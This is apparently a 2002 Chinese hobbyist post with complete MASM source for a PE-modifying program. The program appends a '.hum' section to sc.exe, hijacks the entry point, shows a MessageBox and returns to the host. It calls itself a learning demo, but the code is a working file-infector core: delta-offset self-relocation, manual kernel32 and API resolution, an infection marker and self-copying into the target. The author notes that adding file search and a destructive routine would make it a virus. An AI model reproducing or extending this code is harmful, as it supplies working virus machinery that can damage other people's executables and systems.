闲来写了个修改PE的小程序,主要是演示和实践PE操作和重定位的概念,实在没事情的时候,可以看看,你将会看到PE文件实际上很简单!当然,首先得作好被我的垃圾代码扫了雅兴的准备.
这里利用的是我前面介绍的方法的手动查找API的方法.这个东西修改PE并在最后加上一节,节名'.hum',被附加程序启动前会显示一个MsgBox,以显示一些信息,你可以用来给自己破的软件来一个所谓的版权信息(我最痛恨的就是....这个!烦),当然也可以执行其他一些操作,实际上,再加上文件搜索功能和破坏例程,这就将是一个最简单的病毒....
这个例子没有优化,也没有安排好结构,有兴趣的凑合着看吧,另外还有一些冗余,没有兴趣整理了.
编译要加入/section:.text,RWE选项.默认操作是对同目录下的sc.exe(heh..,my starcraft).
.记住,PE文件实际上是很简单的,只要你耐心看下去.
注:虽然用了Virus字样,但不是病毒...
.586
.model flat, stdcall
option casemap :none ; case sensitive
include c:\hd\hd.h
include c:\hd\mac.h
;;--------------
GetApiA proto :DWORD,:DWORD
;;--------------
.CODE
VirusLen = vEnd-vBegin ;Virus 长度
vBegin:
;-----------------------------------------
include s_api.asm ;查找需要的api地址
;-----------------------------------------
desfile db "sc.exe",0
fsize dd ?
hfile dd ?
hMap dd ?
pMem dd ?
;-----------------------------------------
pe_Header dd ?
sec_align dd ?
file_align dd ?
newEip dd ?
oldEip dd ?
inc_size dd ?
oldEnd dd ?
;-----------------------------------------
sMessageBoxA db "MessageBoxA",0
aMessageBoxA dd 0
;;临时变量...
sztit db "By Hume,2002",0
szMsg0 db "Hey,Hope U enjoy it!",0
CopyRight db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah
db " Thx for using it!",0dh,0ah
db "Contact: Humewen@21cn.com",0dh,0ah
db " humeasm.yeah.net",0dh,0ah
db "The add Code SiZe:(heX)"
val dd 0,0,0,0
;;-----------------------------------------
__Start:
call _gd
_gd:
pop ebp ;得到delta地址
sub ebp,offset _gd ;因为在其他程序中基址可能不是默认的所以需要重定位
mov dword ptr [ebp+appBase],ebp ;呵呵仔细想想
mov eax,[esp] ;返回地址
xor edx,edx
getK32Base:
dec eax ;逐字节比较验证
mov dx,word ptr [eax+IMAGE_DOS_HEADER.e_lfanew] ;就是ecx+3ch
test dx,0f000h ;Dos Header+stub不可能太大,超过4096byte
jnz getK32Base ;加速检验
cmp eax,dword ptr [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
jnz getK32Base ;看Image_Base值是否等于ecx即模块起始值,
mov [ebp+k32Base],eax ;如果是,就认为找到kernel32的Base值
lea edi,[ebp+aGetModuleHandle]
lea esi,[ebp+lpApiAddrs]
lop_get:
lodsd
cmp eax,0
jz End_Get
add eax,ebp
push eax
push dword ptr [ebp+k32Base]
call GetApiA
stosd
jmp lop_get ;获得api地址,参见s_api文件
End_Get:
call my_infect
include dislen.asm
;-----------------------------------------
CouldNotInfect:
__where:
xor eax,eax ;判断是否是已经附加,标志'dark'
push eax
call [ebp+aGetModuleHandle]
mov esi,eax
add esi,[esi+3ch] ;->esi->程序本身的Pe_header
cmp dword ptr [esi+8],'dark'
je jmp_oep
jmp __xit ;退出启动程序
jmp_oep:
add eax,[ebp+oldEip]
jmp eax ;跳到宿主程序的入口点
my_infect: ;感染部分,文件读写操作,Pe文件修改参见modipe.asm文件
xor eax,eax
push eax
push eax
push OPEN_EXISTING
push eax
push eax
push GENERIC_READ+GENERIC_WRITE
lea eax,[ebp+desfile]
push eax
call [ebp+aCreateFile] ;打开目标文件
inc eax
je __Err
dec eax
mov [ebp+hfile],eax
push eax
sub ebx,ebx
push ebx
push eax ;得到文件大小
call [ebp+aGetFileSize]
inc eax
je __sclosefile
dec eax
mov [ebp+fsize],eax
xchg eax,ecx
add ecx,1000h ;文件大小增加...4096
pop eax
xor ebx,ebx ;创建映射文件
push ebx
push ecx ;文件大小等于原大小+Vsize
push ebx
push PAGE_READWRITE
push ebx
push eax
call [ebp+aCreateFileMapping]
test eax,eax
je __sclosefile
mov [ebp+hMap],eax ;创建成功否?
xor ebx,ebx
push ebx
push ebx
push ebx
push FILE_MAP_WRITE
push eax
call [ebp+aMapViewOfFile]
test eax,eax
je __sclosemap ; 映射文件,是否成功?
mov [ebp+pMem],eax
;--------------------------------------------
; the following is modifying part,add new section
;--------------------------------------------
include modipe.asm
__sunview:
push [ebp+pMem]
call [ebp+aUnmapViewOfFile]
__sclosemap:
push [ebp+hMap]
call [ebp+aCloseHandle]
__sclosefile:
push [ebp+hfile]
call [ebp+aCloseHandle]
__Err::
ret
;-----------------------------------------
__xit:
push 0
call [ebp+aExitProcess]
vEnd:
;-----------------------------------------
END __Start
;;==============================================
;;s_api.asm
;;手动查找api部分
K32_api_retrieve proc Base:DWORD ,sApi:DWORD
push edx ;保存edx
xor eax,eax ;此时esi=sApi
Next_Api: ;edi=AddressOfNames
mov esi,sApi
xor edx,edx
dec edx
Match_Api_name:
movzx ebx,byte ptr [esi]
inc esi
cmp ebx,0
je foundit
inc edx
push eax
mov eax,[edi+eax*4] ;AddressOfNames的指针,递增
add eax,Base ;注意是RVA,一定要加Base值
cmp bl,byte ptr [eax+edx] ;逐字符比较
pop eax
je Match_Api_name ;继续搜寻
inc eax ;不匹配,下一个api
loop Next_Api
no_exist:
pop edx ;若全部搜完,即未存在
xor eax,eax
ret
foundit:
pop edx ;edx=AddressOfNameOrdinals
;*2得到AddressOfNameOrdinals的指针
movzx eax,word ptr [edx+eax*2] ;eax返回指向AddressOfFunctions的指针
ret
K32_api_retrieve endp
;-----------------------------------------
GetApiA proc Base:DWORD,sApi:DWORD
local ADDRofFun:DWORD
pushad
mov esi,Base
mov eax,esi
mov ebx,eax
mov ecx,eax
mov edx,eax
mov edi,eax ;all is Base!
add ecx,[ecx+3ch] ;现在esi=off PE_HEADER
add esi,[ecx+78h] ;得到esi=IMAGE_EXPORT_DIRECTORY入口
add eax,[esi+1ch] ;eax=AddressOfFunctions的地址
mov ADDRofFun,eax
mov ecx,[esi+18h] ;ecx=NumberOfNames
add edx,[esi+24h] ;edx=AddressOfNameOrdinals
add edi,[esi+20h] ;esi=AddressOfNames
invoke K32_api_retrieve,Base,sApi
mov ebx,ADDRofFun
mov eax,[ebx+eax*4] ;要*4才得到偏移
add eax,Base ;加上Base!
mov [esp+7*4],eax ;eax返回api地址
popad
ret
GetApiA endp
u32 db "User32.dll",0
k32 db "Kernel32.dll",0
appBase dd ?
k32Base dd ?
;-----------------------------------------apis needed
lpApiAddrs label near
dd offset sGetModuleHandle
dd offset sGetProcAddress
dd offset sLoadLibrary
dd offset sCreateFile
dd offset sCreateFileMapping
dd offset sMapViewOfFile
dd offset sUnmapViewOfFile
dd offset sCloseHandle
dd offset sGetFileSize
dd offset sSetEndOfFile
dd offset sSetFilePointer
dd offset sExitProcess
dd 0,0
sGetModuleHandle db "GetModuleHandleA",0
sGetProcAddress db "GetProcAddress",0
sLoadLibrary db "LoadLibraryA",0
sCreateFile db "CreateFileA",0
sCreateFileMapping db "CreateFileMappingA",0
sMapViewOfFile db "MapViewOfFile",0
sUnmapViewOfFile db "UnmapViewOfFile",0
sCloseHandle db "CloseHandle",0
sGetFileSize db "GetFileSize",0
sSetFilePointer db "SetFilePointer",0
sSetEndOfFile db "SetEndOfFile",0
sExitProcess db "ExitProcess",0
aGetModuleHandle dd 0
aGetProcAddress dd 0
aLoadLibrary dd 0
aCreateFile dd 0
aCreateFileMapping dd 0
aMapViewOfFile dd 0
aUnmapViewOfFile dd 0
aCloseHandle dd 0
aGetFileSize dd 0
aSetFilePointer dd 0
aSetEndOfFile dd 0
aExitProcess dd 0
;-----------------------------------------
;;========================modipe.asm=================
;修改pe,添加节,实现传染功能
xchg eax,esi
cmp word ptr [esi],'ZM'
jne CouldNotInfect
add esi,[esi+3ch] ;指向PE_HEADER
cmp word ptr [esi],'EP'
jne CouldNotInfect ;是否是PE,否则不感染
cmp dword ptr [esi+8],'dark'
je CouldNotInfect
mov [ebp+pe_Header],esi ;保存pe_Header指针
mov ecx,[esi+74h] ;得到directory的数目
imul ecx,ecx,8
lea eax,[ecx+esi+78h] ;data directory eax->节表起始地址
movzx ecx,word ptr [esi+6h] ;节数目
imul ecx,ecx,28h ;得到所有节表的大小
add eax,ecx ;节结尾...
xchg eax,esi ;eax->Pe_header,esi->最后节开始偏移
;;**************************
;;添加如下结构:
;;name .hum
;;VirtualSize==原size+VirSize
;;VirtualAddress=
;;SizeOfRawData 对齐
;;PointerToRawData
;;PointerToRelocations dd 0
;;PointerToLinenumbers dd ?
;;NumberOfRelocations dw ?
;;NumberOfLinenumbers dw ?
;;Characteristics dd ?
;;**************************
mov dword ptr [esi],'muh.' ;节名.hum
mov dword ptr [esi+8],VirusLen ;实际大小
;计算VirtualSize和V.addr
mov ebx,[eax+38h] ;SectionAlignment
mov [ebp+sec_align],ebx
mov edi,[eax+3ch] ;file align
mov [ebp+file_align],edi
mov ecx,[esi-40+0ch] ;上一节的V.addr
mov eax,[esi-40+8] ;上一节的实际大小
xor edx,edx
div ebx ;除以节对齐
test edx,edx
je @@@1
inc eax
@@@1:
mul ebx ;对齐后的节大小
add eax,ecx ;加上V.addr就是新节的起始V.addr
mov [esi+0ch],eax ;保存新section偏移RVA
add eax,__Start-vBegin
mov [ebp+newEip],eax ;计算新的eip
mov dword ptr [esi+24h],0E0000020h ;属性
mov eax,VirusLen ;计算SizeOfRawData的大小
cdq
div edi ;节的文件对齐
je @@@2
inc eax
@@@2:
mul edi
mov dword ptr [esi+10h],eax ;保存节对齐文件的大小
mov eax,[esi-40+14h]
add eax,[esi-40+10h]
mov [esi+14h],eax ;PointerToRawData更新
mov [ebp+oldEnd],eax ;最后文件增加到...?
mov eax,[ebp+pe_Header]
inc word ptr [eax+6h] ;更新节数目
mov ebx,[eax+28h] ;eip指针偏移
mov [ebp+oldEip],ebx ;保存老指针
mov ebx,[ebp+newEip]
mov [eax+28h],ebx ;更新指针值
;comment $
mov ebx,[eax+50h] ;更新ImageSize
add ebx,VirusLen
mov ecx,[ebp+sec_align]
xor edx,edx
xchg eax,ebx ;eax和ebx交换...
cdq
div ecx
test edx,edx
je @@@3
inc eax
@@@3:
mul ecx
xchg eax,ebx ;还原 eax->pe_Header
mov [eax+50h],ebx ;保更新后的Image_Size大小
;$
mov dword ptr [eax+8],'dark'
cld ;写入
mov ecx,VirusLen
mov edi,[ebp+oldEnd]
add edi,[ebp+pMem]
lea esi,[ebp+vBegin]
rep movsb ;写入文件,all is OK!
xor eax,eax
sub edi,[ebp+pMem]
push FILE_BEGIN
push eax
push edi
push [ebp+hfile]
call [ebp+aSetFilePointer]
push [ebp+hfile]
call [ebp+aSetEndOfFile]
;============================disLen.asm
lea eax,[ebp+u32]
push eax
call dword ptr [ebp+aLoadLibrary]
test eax,eax
jnz @g1
@g1:
lea EDX,[EBP+sMessageBoxA]
push edx
push eax
mov eax,dword ptr [ebp+aGetProcAddress]
call eax
mov [ebp+aMessageBoxA],eax
;-----------------------------------------
mov ebx,VirusLen
mov ecx,8
cld
lea edi,[ebp+val]
L1:
rol ebx,4
call binToAscii
loop L1
push 40h+1000h
lea eax,[ebp+sztit]
push eax
lea eax,[ebp+CopyRight]
push eax
push 0
call [ebp+aMessageBoxA]
jmp __where
;-----------------------------------------
binToAscii proc near
mov eax,ebx
and eax,0fh
add al,30h
cmp al,39h
jbe @f
add al,7
@@:
stosb
ret
binToAscii endp
;----------------------------over-----by hume